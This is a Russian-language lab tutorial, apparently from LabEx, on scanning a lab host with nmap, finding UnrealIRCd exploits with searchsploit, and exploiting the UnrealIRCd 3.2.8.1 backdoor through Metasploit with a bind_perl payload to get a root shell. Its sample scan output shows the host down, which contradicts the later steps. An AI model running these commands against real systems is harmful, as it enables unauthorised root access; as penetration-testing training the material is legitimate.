Использование Nmap для сканирования и эксплуатации уязвимостей целевого хоста

NmapBeginner
Практиковаться сейчас

Введение

Сканирование сети - это чрезвычайно практическая дисциплина. С помощью сканирования сети пользователи могут обнаружить порты, назначенные различным службам на целевом хосте, открытые службы, программное обеспечение служб и их версии, а также другую информацию.

В этом лабораторном занятии (LabEx) вы научитесь сканировать целевой хост на наличие уязвимостей безопасности сетевых служб.

Использование Nmap для сканирования открытых портов на целевом хосте

Основной рабочий процесс сканирования сети выглядит следующим образом:

  1. Обнаружение целевого хоста
  2. Сканирование портов
  3. Сканирование отпечатков (fingerprint) информации
  4. Сканирование на уязвимости
  5. Выполнение пенетрационных атак

Nmap (Network Mapper) - это мощный инструмент для сканирования сети. Он поддерживает различные методы сканирования, такие как UDP, TCP connect(), TCP SYN (полуоткрытое сканирование), FTP-прокси (атака отскока), обратный флаг, ICMP, FIN, ACK-сканирование, SYN-сканирование и нулевое сканирование.

На этом этапе вы будете использовать Nmap для сканирования открытых портов на целевом хосте.

  1. Откройте терминал и войдите в контейнер Kali:
docker run -ti --network host b5b709a49cd5 bash
  1. Используйте команду nmap для сканирования целевого хоста 192.168.122.102:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Эта команда сканирует все порты от 1 до 65535 на целевом хосте с политикой времени 4 (быстрее), включает определение отпечатка ОС и версии, а также сохраняет вывод в файл /tmp/report.txt.

Анализ результатов сканирования

После сканирования целевого хоста необходимо проанализировать результаты сканирования, чтобы выявить потенциальные уязвимости.

  1. Просмотр отчета о сканировании:
cat /tmp/report.txt

Эта команда отображает содержимое файла /tmp/report.txt, который содержит информацию о открытых портах, службах и версиях на целевом хосте. Вот пример вывода, который вы можете увидеть:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
           Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  1. Использование инструмента searchsploit для поиска информации об уязвимостях:
searchsploit unreal ircd

Эта команда ищет в базе эксплойтов (Exploit Database) уязвимости, связанные со службой "unreal ircd". Вот пример вывода, который вы можете увидеть:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Просмотр деталей уязвимости:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Эта команда отображает содержимое файла эксплойта для уязвимости, расположенного по адресу /usr/share/exploitdb/exploits/linux/remote/16922.rb.

Эксплуатация уязвимости

После анализа результатов сканирования и выявления потенциальных уязвимостей вы можете попробовать эксплуатировать уязвимость для проведения пенетрационной атаки.

  1. Определите эксплуатируемую уязвимость из результатов сканирования. Например, предположим, что сканирование обнаружило открытый порт 6667 с уязвимой службой.

  2. Запустите Metasploit Framework:

cd ~
msfconsole
  1. В консоли Metasploit выберите соответствующий модуль эксплойта:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Установите IP - адрес целевого хоста:
set RHOST 192.168.122.102
  1. Установите полезную нагрузку (payload):
set PAYLOAD cmd/unix/bind_perl
  1. Запустите эксплойт:
exploit

Если эксплуатация прошла успешно, вы получите доступ к целевому хосту.

  1. После попытки эксплоитации уязвимости необходимо проверить, была ли эксплуатация успешной. В сессии Metasploit проверьте текущего пользователя и имя хоста:
whoami
hostname

Если в выводе показано, что вы вошли под пользователем root и имя хоста соответствует целевому хосту, эксплуатация прошла успешно.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Резюме

В этом лабораторном занятии вы изучили базовый рабочий процесс сканирования сети, который включает в себя обнаружение целевого хоста, сканирование портов, сканирование отпечатков (fingerprint) информации, сканирование на уязвимости и выполнение пенетрационных атак. Вы использовали мощный инструмент Nmap для сканирования открытых портов на целевом хосте и проанализировали результаты сканирования, чтобы выявить потенциальные уязвимости. Кроме того, вы узнали, как искать информацию об уязвимостях с помощью инструмента searchsploit и как эксплуатировать уязвимость с использованием Metasploit Framework. Наконец, вы проверили успешность эксплуатации, проверив текущего пользователя и имя хоста на целевом хосте.

В результате этого практического занятия вы получили практический опыт в сканировании уязвимостей безопасности сетевых служб и выполнении пенетрационных атак. Эти знания являются важными для обеспечения безопасности сетевых систем и выявления потенциальных рисков.